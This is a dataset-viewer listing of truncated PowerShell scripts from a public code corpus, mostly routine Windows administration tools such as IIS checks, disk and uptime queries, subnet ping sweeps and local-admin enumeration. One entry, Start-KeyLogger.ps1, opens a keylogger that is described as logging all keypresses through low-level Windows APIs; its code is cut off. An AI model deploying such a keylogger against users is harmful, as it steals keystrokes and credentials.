full_path stringlengths 31 232 | filename stringlengths 4 167 | content stringlengths 0 48.3M |
|---|---|---|
PowerShellCorpus/Github/Corflow_PowerShell/Happy-NewYear.ps1 | Happy-NewYear.ps1 | #this must be run in the PowerShell console NOT the ISE
if ($host.name -ne ‘ConsoleHost’) {
Write-Warning “Sorry. This must be run in the PowerShell console.”
#bail out
Return
}
#get window dimensions
$X = $host.ui.RawUI.WindowSize.width
#subtract 5 to accomodate the end of the script
$Y = $host.ui.RawUI.Win... |
PowerShellCorpus/Github/Corflow_PowerShell/Deploy-App.ps1 | Deploy-App.ps1 | <#HELP FILE#
.Synopsis
This is an application used to deploy code for the Eligibility services.
.Description
With this tool you can select different environments and services to deploy to.
#>
###################################################################################
############### Pop-up Window to... |
PowerShellCorpus/Github/Corflow_PowerShell/Update-LocalGroup.ps1 | Update-LocalGroup.ps1 | Function Update-LocalGroup
{
<#
.Synopsis
Short description
.DESCRIPTION
Long description
.EXAMPLE
Example of how to use this cmdlet
.EXAMPLE
Another example of how to use this cmdlet
#>
[CmdletBinding()]
[Alias()]
[OutputType([int])]
Param
(
# Computer with grou... |
PowerShellCorpus/Github/Corflow_PowerShell/Get-LoggedInUsers.ps1 | Get-LoggedInUsers.ps1 | function Get-LoggedInUsers
{
<#
.Synopsis
Short description
.DESCRIPTION
Long description
.EXAMPLE
Example of how to use this cmdlet
.EXAMPLE
Another example of how to use this cmdlet
#>
[CmdletBinding()]
[Alias()]
[OutputType([int])]
Param
(
# Param1 help descri... |
PowerShellCorpus/Github/Corflow_PowerShell/SystemsReport.ps1 | SystemsReport.ps1 | # PowerShell Systems Report
# Example usage: .\SystemsReport.ps1 .\list.txt
# Remember that list.txt is the file containing a list of Server names to run this against
#region Variables and Arguments
$users = "steve.ross@PremiseHealth.com" # List of users to email your report to (separate by comma)
$fromemail = "... |
PowerShellCorpus/Github/Corflow_PowerShell/Sweep-Subnet.ps1 | Sweep-Subnet.ps1 | Function Sweep-Subnet($Subnet) #in the format of "10.10.10."
{
<#
1. The subnet passed to the function is incremented by 1 up until 254 building an array of each possible IP address ($arrIPs)
2. This array is iterated through, each pass the IP address is pinged.
3. If the ping is successful (StatusCode of “0”) a ... |
PowerShellCorpus/Github/Corflow_PowerShell/Get-PerfCounters.ps1 | Get-PerfCounters.ps1 |
function Get-PerfCounters
{
<#
.Synopsis
Short description
.DESCRIPTION
Long description
.EXAMPLE
Example of how to use this cmdlet
.EXAMPLE
Another example of how to use this cmdlet
#>
[CmdletBinding()]
[Alias()]
[OutputType([int])]
Param
(
# Param1 help descr... |
PowerShellCorpus/Github/Corflow_PowerShell/Sweep-Subnet2.ps1 | Sweep-Subnet2.ps1 | function Sweep-Subnet
{
<#
.Synopsis
Short description
.DESCRIPTION
Long description
.EXAMPLE
Example of how to use this cmdlet
.EXAMPLE
Another example of how to use this cmdlet
#>
[CmdletBinding()]
Param
(
[Parameter(Mandatory=$true,
ValueFromPipeline... |
PowerShellCorpus/Github/Corflow_PowerShell/Get-Bethoven.ps1 | Get-Bethoven.ps1 | function Get-Bethoven
{
<#
1 = QUARTER NOTE
1.25 = QUARTER AND HALF
.5 = EIGHTH NOTE
.25 = SIXTEENTH NOTE
2 = HALF NOTE
#>
#<duration><note>[<octave>]
$notes = @"
1B 1B 1C 1D2 1D2 1C 1B 1A 1G 1G 1A 1B 1.5B .5A 2A
1B 1B 1C 1D2 1D2 1C 1B 1A 1G 1G 1A 1B 1.5A .5G 2G
2A 1B 1G 1A .5B .5C 1B 1G 1A .5B .5C 1B ... |
PowerShellCorpus/Github/Corflow_PowerShell/Notes.ps1 | Notes.ps1 | #Unblock script file in a directory
Unblock-File *\* -Verbose
------------------------------
|
PowerShellCorpus/Github/Corflow_PowerShell/IIS-Stop_Start_Reset.ps1 | IIS-Stop_Start_Reset.ps1 | function IIS-Stop
{
Param (
[string[]] $ComputerName
)
foreach($Computer in $ComputerName)
{
Invoke-Command -ComputerName $Computer -ScriptBlock {iisreset /STOP}
}
}
function IIS-Start
{
Param (
[string[]] $ComputerName
... |
PowerShellCorpus/Github/Corflow_PowerShell/Create-PieChart.ps1 | Create-PieChart.ps1 | Function Create-PieChart()
{
<#
This function relies on the Microsoft Chart Controls for Microsoft .NET Framework 3.5 and allows us to generate a graphical
chart on the fly in our script and output it to a .PNG graphic file. So do make sure that the system that is running this
script has the Chart Controls ins... |
PowerShellCorpus/Github/Corflow_PowerShell/Get-IISVersion.ps1 | Get-IISVersion.ps1 | function Get-IISVersion
{
<#
.Synopsis
Queries the remote computers installed IIS version.
.EXAMPLE
$POD0 = Get-Content \\bna-vm-fs2\Public\_\Servers\PrimeSuite\Prod_Web_POD0.txt
PS C:\> Get-IISVersion $POD0
BNA-PR-GW-WEB01.HWWIN.local is running IIS Version 7.5
BNA-PR-GW-WEB02.HWWIN.local is running IIS Ver... |
PowerShellCorpus/Github/Corflow_PowerShell/Compare-Files.ps1 | Compare-Files.ps1 | cls
$ComputerName = "P-DB-GP-01"
foreach ($Computer in $ComputerName)
{
Invoke-Command -ComputerName $Computer -Credential $creds {
function Get-SystemInfo
... |
PowerShellCorpus/Github/Corflow_PowerShell/Get-SystemInfo.ps1 | Get-SystemInfo.ps1 | function Get-SystemInfo
{
<#
.SYNOPSIS
Retrieves key system version and model information from one to fifty computers.
.DESCRIPTION
Get-SystemInfo uses Windows Management Instrumentation (WMI) to retrieve information from one or more computers.
Specify computers by name or by IP address.
.PARAMETER ComputerName... |
PowerShellCorpus/Github/Corflow_PowerShell/Get-LocalGroupMembers.ps1 | Get-LocalGroupMembers.ps1 | Function Get-LocalGroupMembers {
[Cmdletbinding()]
Param
(
[Parameter(ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
[String[]]$Computername = $Env:COMPUTERNAME,
[parameter()]
[string[]]$Group
)
... |
PowerShellCorpus/Github/Corflow_PowerShell/Playing.ps1 | Playing.ps1 | $first = 'Steve'
$last = 'Ross'
$date = Get-Date
$prompt = Write-Host "My name is $first $last and today is $date" -ForegroundColor Green
$prompt |
PowerShellCorpus/Github/Corflow_PowerShell/List-WMIObjects.ps1 | List-WMIObjects.ps1 | # Check WmiObject Classes
Clear-Host
$Type = "Disk"
Get-WmiObject -List | Where-Object {$_.name -Match $Type}
Get-WmiObject -List Win32_perf* | sort Name | select Name
# PowerShell cmdlet to display Logical Disk information
Clear-Host
Get-WmiObject Win32_logicaldisk | Format-Table -auto
Get-WmiObject -quer... |
PowerShellCorpus/Github/Corflow_PowerShell/EasyView.ps1 | EasyView.ps1 | function EasyView
{
process
{
$_; Start-Sleep -Seconds 1
}
}
cls
Get-ChildItem C:\Windows | EasyView |
PowerShellCorpus/Github/Corflow_PowerShell/PING-HOST.ps1 | PING-HOST.ps1 | function PING-HOST
{
<#
.Synopsis
Short description
.DESCRIPTION
Long description
.EXAMPLE
Example of how to use this cmdlet
.EXAMPLE
Another example of how to use this cmdlet
#>
[CmdletBinding()]
[Alias()]
[OutputType([int])]
Param
(
# Computer to PING
... |
PowerShellCorpus/Github/Corflow_PowerShell/Get-LastBoot.ps1 | Get-LastBoot.ps1 | function Get-LastBoot
{
<#
.Synopsis
Gets the last time a server or swervers have been rebooted.
.EXAMPLE
PS C:\> Get-LastBoot localhost
Computer Name Last Boot Time
------------- --------------
localhost 2/1/2016 8:02:13 AM
.EXAMPLE
PS C:\> Get-LastBoot BNA-PR-MID01
Computer Name Last... |
PowerShellCorpus/Github/Corflow_PowerShell/Get-LocalGroupMembership.ps1 | Get-LocalGroupMembership.ps1 | Function Get-LocalGroupMembership
{
<#
.SYNOPSIS
Recursively list all members of a specified Local group.
.DESCRIPTION
Recursively list all members of a specified Local group. This can be run against a local or
remote system or systems. Recursion is unlimited unless specified b... |
PowerShellCorpus/Github/Corflow_PowerShell/Convert-WindowsInventoryClixmlToExcel.ps1 | Convert-WindowsInventoryClixmlToExcel.ps1 | <#
.SYNOPSIS
Writes an Excel file containing the Database Engine information in a SQL Server Inventory file created by Get-WindowsInventoryToClixml.ps1.
.DESCRIPTION
This script loads a Windows Inventory file created by Get-WindowsInventoryToClixml.ps1 and calls the Export-WindowsInventoryToExcel function i... |
PowerShellCorpus/Github/Corflow_PowerShell/Get-DiskInfo_WMI_Commands.ps1 | Get-DiskInfo_WMI_Commands.ps1 | # Check WmiObject Classes
Clear-Host
$Type = "Disk"
Get-WmiObject -List | Where-Object {$_.name -Match $Type}
# 1 way to display Logical Disk information
Clear-Host
Get-WmiObject Win32_logicaldisk | Format-Table -auto
# Another way to display Logical Disk information
Clear-Host
Get-WmiObject -query "Selec... |
PowerShellCorpus/Github/Corflow_PowerShell/Get-SystemInfo_Remote.ps1 | Get-SystemInfo_Remote.ps1 | cls
$creds = Get-Credential
$ComputerName = "P-DB-GP-01"
foreach ($Computer in $ComputerName)
{
Invoke-Command -ComputerName $Computer -Credential $creds {
function Get-SystemInfo
... |
PowerShellCorpus/Github/Corflow_PowerShell/Update-SysInternals.ps1 | Update-SysInternals.ps1 | #requires -version 4.0
#https://gist.github.com/jdhitsolutions/f0415db6bc8dc6236fb3
Workflow Update-SysInternals
{
<#
A PowerShell workflow to download Sysinternals tools from web to a local folder.
Last updated: February 15, 2016
version : 2.1
Changelog:
2.0
Moved path validation to a sequence ste... |
PowerShellCorpus/Github/Corflow_PowerShell/Get-CompInfo_1.ps1 | Get-CompInfo_1.ps1 | Function Get-CompInfo{
[CmdletBinding()]
Param(
#Want to support multiple computers
[String[]]$ComputerName,
#Switch to turn on Error logging
[Switch]$ErrorLog,
[String]$LogFile = 'c:\errorlog.txt'
)
Begin{
If($errorLog){
Write-V... |
PowerShellCorpus/Github/Corflow_PowerShell/Search_For_File.ps1 | Search_For_File.ps1 |
$servers = $PrimeSuite_All
ForEach ($server in $servers)
{
Invoke-Command -ComputerName $server {Get-ChildItem "D:\*\*\*\*connectioninfo*.xml" -Recurse | select @{N="Computer Name";E={$env:COMPUTERNAME}}, Name,
@{N="Last Write Time";E={$_.LastWriteTime}},
@{N="Full Path";E={$_.Directory}}} | Export-Csv -Pat... |
PowerShellCorpus/Github/Corflow_PowerShell/Compare-Directories.ps1 | Compare-Directories.ps1 | $a = Get-childitem -Recurse -Path c:\inetpub\wwwroot\EligibilityAdminTest\
$b = Get-childitem -Recurse -Path D:\Backup\EligibilityAdmin_2015-12-31T14.49.54\
Compare-object -ReferenceObject $a -DifferenceObject $b | Measure-Object | select -ExpandProperty count |
PowerShellCorpus/Github/Corflow_PowerShell/Get-Uptime_Examples.ps1 | Get-Uptime_Examples.ps1 | function Get-SystemUpime
{
<#
.Synopsis
Short description
.DESCRIPTION
Long description
.EXAMPLE
Example of how to use this cmdlet
.EXAMPLE
Another example of how to use this cmdlet
#>
[CmdletBinding()]
Param
(
# Param1 help description
[Parameter(Mandatory=$true,... |
PowerShellCorpus/Github/Corflow_PowerShell/Get-Remote-LocalAdmin.ps1 | Get-Remote-LocalAdmin.ps1 | # Script: Get-Remote-LocalAdmins.ps1
# Purpose: This script can detect the members of a remote machine's local Admins group
# Author: Paperclips
# Email: pwd9000@hotmail.co.uk
# Date: Nov 2011
# Comments:
# Notes:
#
function get-localadmin {
param ($strcomputer)
$admins = Gwmi win32_grou... |
PowerShellCorpus/Github/Corflow_PowerShell/Get-ADTrusts.ps1 | Get-ADTrusts.ps1 |
Import-module ActiveDirectory
$DomainDNS = (Get-ADDomain).DNSRoot
Write-output "Get list of AD Domain Trusts in $DomainDNS `r"
$ADDomainTrusts = Get-ADObject -Filter {ObjectClass -eq "trustedDomain"} -Properties *
[int]$ADDomainTrustsCount = $ADDomainTrusts.Count
Write-Output "Discovered $ADDomainTrustsCount... |
PowerShellCorpus/Github/Corflow_PowerShell/_.ps1 | _.ps1 | $ComputerName = "$POD0"
foreach ($computer in $ComputerName)
{
#$compinfo = @()
$computerSystem = Get-WmiObject Win32_ComputerSystem -ComputerName $computer
$computerBIOS = Get-WmiObject Win32_BIOS -ComputerName $computer
$computerOS = Get-WmiObject Win32_OperatingSystem -Compu... |
PowerShellCorpus/Github/Corflow_PowerShell/Get-CompInfo_2.ps1 | Get-CompInfo_2.ps1 | Function Get-CompInfo{
[CmdletBinding()]
Param(
#Want to support multiple computers
[String[]]$ComputerName,
#Switch to turn on Error logging
[Switch]$ErrorLog,
[String]$LogFile = 'c:\errorlog.txt'
)
Begin{
If($errorLog){
Write-V... |
PowerShellCorpus/Github/Corflow_PowerShell/Send-Email.ps1 | Send-Email.ps1 | #
#.SYNOPSIS
#Sends SMTP email via the SMTP Relay
#
#.EXAMPLE
#.\Send-Email.ps1 -To "administrator@PremiseHealth.com" -Subject "Test email" -Body "This is a test"
#
param(
[string]$to,
[string]$subject,
[string]$body
)
$smtpServer = "relay.premisehealth.com"
$smtpFrom = "Reports@PremiseHealth.com"
$sm... |
PowerShellCorpus/Github/Corflow_PowerShell/Get-ProxySettings.ps1 | Get-ProxySettings.ps1 | Function Get-ProxySetting
{
[CmdletBinding()]
Param(
[string[]]$ComputerName
)
Begin{}
Process
{
foreach($Computer in $ComputerName)
{
$binval = Invoke-Command $Computer {(Get-ItemProperty "HKLM:\... |
PowerShellCorpus/Github/Corflow_PowerShell/Start-KeyLogger.ps1 | Start-KeyLogger.ps1 | function Start-KeyLogger($Path = "$env:temp\keylogger.txt")
{
<#
.DESCRIPTION
By accessing the Windows low-level API functions, a script can constantly
monitor the keyboard for keypresses and log these to a file. This effectively produces a keylogger.
Run the function Start-Keylogger to start logging key ... |
PowerShellCorpus/Github/Corflow_PowerShell/_PSRemoting_Info.ps1 | _PSRemoting_Info.ps1 | #PSVersiontable trick
<#
$PSVersionTable.Add("OS",(Get-WmiObject Win32_Operatingsystem).caption)
$PSVersionTable
#>
#PSSession tricks
<#
$Computer = "BNA-PR-GW-WEB09"
$s = New-PSSession -ComputerName $Computer
Get-PSSession
Enter-PSSession -Session $s
get-windowsfeature web*
Get-Module web* ... |
PowerShellCorpus/Github/Corflow_PowerShell/Get-DotNetVersion.ps1 | Get-DotNetVersion.ps1 | function Get-DotNetVersion
{
<#
.Synopsis
Short description
.DESCRIPTION
Long description
.EXAMPLE
Example of how to use this cmdlet
.EXAMPLE
Another example of how to use this cmdlet
#>
[CmdletBinding()]
[OutputType([int])]
Param
(
# Param1 help description
... |
PowerShellCorpus/Github/Corflow_PowerShell/Convert-CSV.ps1 | Convert-CSV.ps1 | $csvs = Get-ChildItem .\* -Include *.csv
$y=$csvs.Count
Write-Host “Detected the following CSV files: ($y)”
foreach ($csv in $csvs)
{
Write-Host ” “$csv.Name
}
$outputfilename = read-host “Please enter the output file name: ”
Write-Host Creating: $outputfilename
$excelapp = new-... |
PowerShellCorpus/Github/Corflow_PowerShell/Get-CurrentConnections.ps1 | Get-CurrentConnections.ps1 | function Get-CurrentConnections
{
<#
.Synopsis
This function gets the current connection count from IIS Web Servers.
If you do not use the -SiteName switch then it returns the Total connections to the web server.
.DESCRIPTION
This function gets the current connection count from IIS Web Servers.
If... |
PowerShellCorpus/Github/Corflow_PowerShell/Get-CompInfo_3.ps1 | Get-CompInfo_3.ps1 | Function Get-CompInfo{
[CmdletBinding()]
Param(
#Want to support multiple computers
[Parameter(Mandatory=$True,
ValueFromPipeline=$true,
ValueFromPipelineByPropertyName=$true,
HelpMessage= 'Provide one or more computer name')]
... |
PowerShellCorpus/Github/Corflow_PowerShell/IIS-Version.ps1 | IIS-Version.ps1 | function IIS-Version
{
<#
.Synopsis
Queries the remote computers installed IIS version.
.EXAMPLE
$POD0 = Get-Content \\bna-vm-fs2\Public\_\Servers\PrimeSuite\Prod_Web_POD0.txt
PS C:\> IIS-Version $POD0
BNA-PR-GW-WEB01.HWWIN.local is running IIS Version 7.5
BNA-PR-GW-WEB02.HWWIN.local is running IIS Version 7... |
PowerShellCorpus/Github/Corflow_PowerShell/Get-CompInfo.ps1 | Get-CompInfo.ps1 | Function Get-CompInfo{
[CmdletBinding()]
Param(
#Want to support multiple computers
[String[]]$ComputerName = 'localhost',
#Switch to turn on Error logging
[Switch]$ErrorLog,
[String]$LogFile = 'c:\errorlog.txt'
)
Begin{
If($errorLog){
... |
PowerShellCorpus/Github/Corflow_PowerShell/Get-LocalAccount.ps1 | Get-LocalAccount.ps1 | function Get-LocalAccounts
{
<#
.SYNOPSIS
This script can be list all of local user account.
.DESCRIPTION
This script can be list all of local user account.
.PARAMETER <AccountName>
Specifies the local user account you want to search.
.PARAMETER <ComputerName <string[]>
Specifies... |
PowerShellCorpus/Github/Corflow_PowerShell/Get-Uptime.ps1 | Get-Uptime.ps1 | Function Get-Uptime
{
<#
.Synopsis
Gets the last time a server or swervers have been rebooted and the uptime.
Uptime = Days.Hours:Minutes:Seconds
.EXAMPLE
PS C:\> Get-LastBoot localhost
Computer Name Last Boot Time Uptime
------------- -------------- ------
localhost 2/1/2016 8:02:1... |
PowerShellCorpus/Github/Corflow_PowerShell/Get-DiskInfo.ps1 | Get-DiskInfo.ps1 | function Get-DiskInfo
{
<#
.Synopsis
Get's disk information from 1 to 50 computers.
.DESCRIPTION
Use this function to gather the physical and logical information from disks on 1 or up to 50 computers.
Make sure to use the switches (LogicalDisk, PhysicalDisk or All) to select which disk to query.
.EXAM... |
PowerShellCorpus/Github/Corflow_PowerShell/Add-Zip.ps1 | Add-Zip.ps1 | function Add-Zip # usage: Get-ChildItem $folder | Add-Zip $zipFullName
{
param([string]$zipfilename)
Write-Host "Please wait while your file is being zipped..."
if(!(test-path($zipfilename)))
{
set-content $zipfilename ("PK" + [char]5 + [char]6 + ("$([char]0)" * 18))
(dir $zi... |
PowerShellCorpus/Github/Corflow_PowerShell/Get-Nap.ps1 | Get-Nap.ps1 | function Get-Nap
{
[CmdletBinding()]
Param
(
#nap time in minutes
[int]$Minutes = 1,
#define the wakeup time
$wake = (Get-Date).AddMinutes($Minutes)
)
Begin
{
}
Process
{
#loop until the time is >= the wake up time
do... |
PowerShellCorpus/Github/Corflow_PowerShell/PING-FOREVER.ps1 | PING-FOREVER.ps1 | while($true)
{
Test-Connection www.google.com |
select @{n='Time';E={[dateTime]::Now}}, @{N='Destination';E={$_.address}}, @{N='Time(ms)';E={$_.ResponseTime}}, IPV4Address, Replysize | Format-Table
}
while($true)
{
test-connection google.com -count 1 |
select @{N='Time';E={[dateTime]::Now}},
... |
PowerShellCorpus/Github/Corflow_PowerShell/Get-IISConnections.ps1 | Get-IISConnections.ps1 | function Get-IISConnections
{
<#
.Synopsis
This function gets the current connection count from IIS Web Servers.
If you do not use the -SiteName switch then it returns the Total connections to the web server.
.DESCRIPTION
This function gets the current connection count from IIS Web Servers.
If you... |
PowerShellCorpus/Github/chenkennt_test12345/.openpublishing.build.ps1 | .openpublishing.build.ps1 | param(
[string]$buildCorePowershellUrl = "https://opbuildstoragesandbox2.blob.core.windows.net/opps1container/.openpublishing.buildcore.ps1",
[string]$parameters
)
# Main
$errorActionPreference = 'Stop'
# Step-1 Download buildcore script to local
echo "download build core script to local with source ur... |
PowerShellCorpus/Github/gocd_gocd-chocolatey/createPackage.ps1 | createPackage.ps1 | #Requires -Version 2.0
<#
.SYNOPSIS
Build NuGet Packages (.nupkg) for GoCD Server or Agent.
.PARAMETER type
The type of package being built--either agent or server.
.PARAMETER version
The release version of the package being built (ie, YY.MM.XX).
Defaults to $en... |
PowerShellCorpus/Github/g8tguy_PowerShellStudioProfile/sync.ps1 | sync.ps1 | $profilePath = 'C:\Users\User\AppData\Roaming\SAPIEN\PowerShell Studio 2017'
Copy-Item $PWD\Profile\* $profilePath -Recurse -Verbose -Force
Pause |
PowerShellCorpus/Github/OPS-E2E-PPE_E2E_NewRepo_2017_4_21_28_6_17/.openpublishing.build.ps1 | .openpublishing.build.ps1 | param(
[string]$buildCorePowershellUrl = "https://opbuildstorageprod.blob.core.windows.net/opps1container/.openpublishing.buildcore.ps1",
[string]$parameters
)
# Main
$errorActionPreference = 'Stop'
# Step-1: Download buildcore script to local
echo "download build core script to local with source url: ... |
PowerShellCorpus/Github/msakiyam_OneDrive/SearchAndExport.ps1 | SearchAndExport.ps1 | #
# Title: OneDrive ComplianceSearch and Export
# Author: Mine Sakiyama (Mine.Sakiyama@csra.com)
# Date: 4/17/2017
# Version: 2.1
# CSRA Inc.(C) All Rights Reserved
# CSRA Think Next Now
#
#
# This script requires that you have installed a tool called AZCopy.
#
# Install AZCopy from https://docs.microsoft.... |
PowerShellCorpus/Github/NidhiGowdra_NandosoAPI/NandosoAPI/packages/Newtonsoft.Json.7.0.1/tools/install.ps1 | install.ps1 | param($installPath, $toolsPath, $package, $project)
# open json.net splash page on package install
# don't open if json.net is installed as a dependency
try
{
$url = "http://www.newtonsoft.com/json/install?version=" + $package.Version
$dte2 = Get-Interface $dte ([EnvDTE80.DTE2])
if ($dte2.ActiveWindo... |
PowerShellCorpus/Github/NidhiGowdra_NandosoAPI/NandosoAPI/packages/EntityFramework.6.1.3/tools/init.ps1 | init.ps1 | param($installPath, $toolsPath, $package, $project)
if (Get-Module | ?{ $_.Name -eq 'EntityFramework' })
{
Remove-Module EntityFramework
}
Import-Module (Join-Path $toolsPath EntityFramework.psd1)
# SIG # Begin signature block
# MIIa4AYJKoZIhvcNAQcCoIIa0TCCGs0CAQExCzAJBgUrDgMCGgUAMGkGCisGAQQB
# gjcCAQ... |
PowerShellCorpus/Github/NidhiGowdra_NandosoAPI/NandosoAPI/packages/EntityFramework.6.1.3/tools/install.ps1 | install.ps1 | param($installPath, $toolsPath, $package, $project)
Initialize-EFConfiguration $project
Add-EFProvider $project 'System.Data.SqlClient' 'System.Data.Entity.SqlServer.SqlProviderServices, EntityFramework.SqlServer'
Write-Host
Write-Host "Type 'get-help EntityFramework' to see all available Entity Framework comma... |
PowerShellCorpus/Github/NidhiGowdra_NandosoAPI/NandosoAPI/packages/Microsoft.CodeDom.Providers.DotNetCompilerPlatform.1.0.0/tools/init.ps1 | init.ps1 | param($installPath, $toolsPath, $package, $project)
$compilerPackageName = 'Microsoft.Net.Compilers'
$roslynSubFolder = 'roslyn'
if ($project -eq $null) {
$project = Get-Project
}
$libDirectory = Join-Path $installPath 'lib\net45'
$packageDirectory = Split-Path $installPath
$compilerPackage = Get-Chil... |
PowerShellCorpus/Github/NidhiGowdra_NandosoAPI/NandosoAPI/packages/Microsoft.CodeDom.Providers.DotNetCompilerPlatform.1.0.0/tools/uninstall.ps1 | uninstall.ps1 | param($installPath, $toolsPath, $package, $project)
$roslynSubFolder = 'roslyn'
if ($project -eq $null) {
$project = Get-Project
}
$projectRoot = $project.Properties.Item('FullPath').Value
$binDirectory = Join-Path $projectRoot 'bin'
$targetDirectory = Join-Path $binDirectory $roslynSubFolder
if (Te... |
PowerShellCorpus/Github/legigor_WindowsPowerShell/Microsoft.PowerShell_profile.ps1 | Microsoft.PowerShell_profile.ps1 |
# Load posh-git example profile
. (Resolve-Path ~\Documents\WindowsPowershell\Modules\posh-git\profile.example.ps1)
# Load posh-hg example profile
# . '.\Modules\posh-hg\profile.example.ps1'
. (Resolve-Path ~\Documents\WindowsPowershell\Modules\posh-hg\profile.example.ps1)
Import-Module PSReadLine
Import-Mo... |
PowerShellCorpus/Github/legigor_WindowsPowerShell/AllModules/SQLServer/Write-SmoToCsvFile.ps1 | Write-SmoToCsvFile.ps1 |
# ---------------------------------------------------------------------------
### <Script>
### <Author>
### Chad Miller
### </Author>
### <Description>
### Generates an a csv file for all SQL Server security settings
### </Description>
### <Usage>
### ./Write-SmotToCsvFile.ps1 'MySqlServer'
### </Usage>
#... |
PowerShellCorpus/Github/legigor_WindowsPowerShell/AllModules/SQLServer/Get-SessionTimeStamp.ps1 | Get-SessionTimeStamp.ps1 | #### <Script>
### <Author>
### Chad Miller
### </Author>
### <Description>
### Define function for getting a global Session TimeStamp
### </Description>
### <Usage>
### Get-SessionTimeStamp
### </Usage>
### </Script>
# ---------------------------------------------------------------------------
if (!... |
PowerShellCorpus/Github/legigor_WindowsPowerShell/AllModules/SQLServer/Test-SqlConn.ps1 | Test-SqlConn.ps1 | # ---------------------------------------------------------------------------
### <Script>
### <Author>
### Chad Miller
### </Author>
### <Description>
### Verifies Sql connectivity and writes successful conenction to stdout and
### failed connections to stderr. Script is useful when combined with other
### s... |
PowerShellCorpus/Github/legigor_WindowsPowerShell/AllModules/SQLServer/Run-SmoToCsvFile.ps1 | Run-SmoToCsvFile.ps1 |
# ---------------------------------------------------------------------------
### <Script>
### <Author>
### Chad Miller
### </Author>
### <Description>
### Runs Write-SmoToCsvFile.ps1 with the specified number of threads.
### NOTE because a master powershell session is used to call the child
### sessions the... |
PowerShellCorpus/Github/legigor_WindowsPowerShell/AllModules/SQLServer/Write-SmoCsvToDb.ps1 | Write-SmoCsvToDb.ps1 | # ---------------------------------------------------------------------------
### <Script>
### <Author>
### Chad Miller
### </Author>
### <Description>
### Load the Csv file into the specified database
### </Description>
### <Usage>
### ./Write-SmoCsvToDb.ps1
### </Usage>
### </Script>
# -----------------... |
PowerShellCorpus/Github/legigor_WindowsPowerShell/AllModules/SQLServer/Get-InvalidLogins.ps1 | Get-InvalidLogins.ps1 | # ---------------------------------------------------------------------------
### <Script>
### <Author>
### Chad Miller
### </Author>
### <Description>
### Lists invalid AD/NT logins/groups which have been granted access to the
### specified SQL Server instance. Script calls the system stored procedure
### sp_... |
PowerShellCorpus/Github/legigor_WindowsPowerShell/AllModules/pscx/Pscx.UserPreferences.ps1 | Pscx.UserPreferences.ps1 | # ---------------------------------------------------------------------------
# You can override individual preferences by passing a hashtable with just those
# preference defined as shown below:
#
# Import-Module Pscx -arg @{ModulesToImport = @{Prompt = $true}}
#
# Any value not specified will be retrieved f... |
PowerShellCorpus/Github/legigor_WindowsPowerShell/AllModules/pscx/Modules/Prompt/Themes/Modern.ps1 | Modern.ps1 | # ---------------------------------------------------------------------------
# Author: Keith Hill
# Desc: Prompt, colors and host window title updates suited to UAC enabled
# Windows Vista and Windows 7. Elevated (admin) prompts are easy
# distinguish from non-elevated prompts.
# Date: Nov 07... |
PowerShellCorpus/Github/legigor_WindowsPowerShell/AllModules/pscx/Modules/Prompt/Themes/WinXP.ps1 | WinXP.ps1 | # ---------------------------------------------------------------------------
# Author: Keith Hill
# Desc: Prompt, colors and host window title updates suited to Windows XP
# where folks tend to run with adminstrator privileges all the time.
# Date: Nov 07, 2009
# Site: http://pscx.codeplex.com
# Us... |
PowerShellCorpus/Github/legigor_WindowsPowerShell/AllModules/pscx/Modules/Prompt/Themes/Jachym.ps1 | Jachym.ps1 | # ---------------------------------------------------------------------------
# Author: Jachymko
# Desc: Jachym's prompt, colors and host window title updates.
# Date: Nov 07, 2009
# Site: http://pscx.codeplex.com
# Usage: In your options hashtable place the following setting:
#
# PromptTheme = 'J... |
PowerShellCorpus/Github/legigor_WindowsPowerShell/AllModules/Repl/replscriptopts.ps1 | replscriptopts.ps1 | # ---------------------------------------------------------------------------
### <Script>
### <Author>
### Chad Miller
### </Author>
### <Description>
### This file is used to set options for $scripting of RMO Mangement Objects
### </Description>
### </Script>
# ----------------------------------------------... |
PowerShellCorpus/Github/legigor_WindowsPowerShell/AllModules/PowerTab/TabExpansionUtil.ps1 | TabExpansionUtil.ps1 | # TabExpansionUtil.ps1
#
#
#########################
## Private functions
#########################
Function Out-DataGridView {
[CmdletBinding()]
param(
[Parameter(Position = 0)]
[String]
$ReturnField
,
[Parameter(ValueFromPipeline = $true)]
[Object[]]
... |
PowerShellCorpus/Github/legigor_WindowsPowerShell/AllModules/PowerTab/TabExpansionResources.ps1 | TabExpansionResources.ps1 |
Data Resources {
@{
## Default resources
setup_wizard_caption = "Launch the setup wizard to create a PowerTab configuration file and database?"
setup_wizard_message = "PowerTab can be setup manually without the setup wizard."
setup_wizard_choice_profile_directory = "&Profile Directory"
setup... |
PowerShellCorpus/Github/legigor_WindowsPowerShell/AllModules/PowerTab/TabExpansion.ps1 | TabExpansion.ps1 |
Function global:TabExpansion {
param($Line, $LastWord)
Invoke-TabExpansion -Line $Line -LastWord $LastWord
} |
PowerShellCorpus/Github/legigor_WindowsPowerShell/AllModules/PowerTab/TabExpansionLib.ps1 | TabExpansionLib.ps1 | # TabExpansionLib.ps1
#
#
#########################
## Public functions
#########################
Function Invoke-TabActivityIndicator {
[CmdletBinding()]
param(
[Switch]
$Error
)
end {
if ($PowerTabConfig.TabActivityIndicator) {
if ("ConsoleHos... |
PowerShellCorpus/Github/legigor_WindowsPowerShell/AllModules/PowerTab/ConsoleLib.ps1 | ConsoleLib.ps1 | # ConsoleLib.ps1
#
#
Function Out-ConsoleList {
#[CmdletBinding()]
param(
[Parameter(Position = 1)]
[ValidateNotNull()]
[String]
$LastWord = ''
,
[Parameter(Position = 2)]
[ValidateNotNull()]
[String]
$ReturnWord = '' ##... |
PowerShellCorpus/Github/legigor_WindowsPowerShell/AllModules/PowerTab/TabExpansionHandlers.ps1 | TabExpansionHandlers.ps1 |
<########################
## Notes
- The closures in this file make the code run outside the PowerTab module's context. This avoids
some problems like Get-Module only seeing the modules loaded within PowerTab, or private functions
showing up from Get-Command.
########################>
###################... |
PowerShellCorpus/Github/legigor_WindowsPowerShell/AllModules/PowerTab/TabExpansionCore.ps1 | TabExpansionCore.ps1 | # TabExpansionCore.ps1
#
#
# .ExternalHelp TabExpansionCore-Help.xml
Function Invoke-TabExpansion {
[CmdletBinding()]
param(
[Parameter(Position = 0, Mandatory = $true)]
[AllowEmptyString()]
[String]
$Line
,
[Parameter(Position = 1, Mandatory = $true... |
PowerShellCorpus/Github/legigor_WindowsPowerShell/AllModules/PowerTab/TabExpansionCustomLib.ps1 | TabExpansionCustomLib.ps1 |
# Add Enum Functions
[Void](Add-TabExpansion '|%' '| foreach {$_}' 'Alias')
[Void](Add-TabExpansion '|?' '| where {$_}' 'Alias')
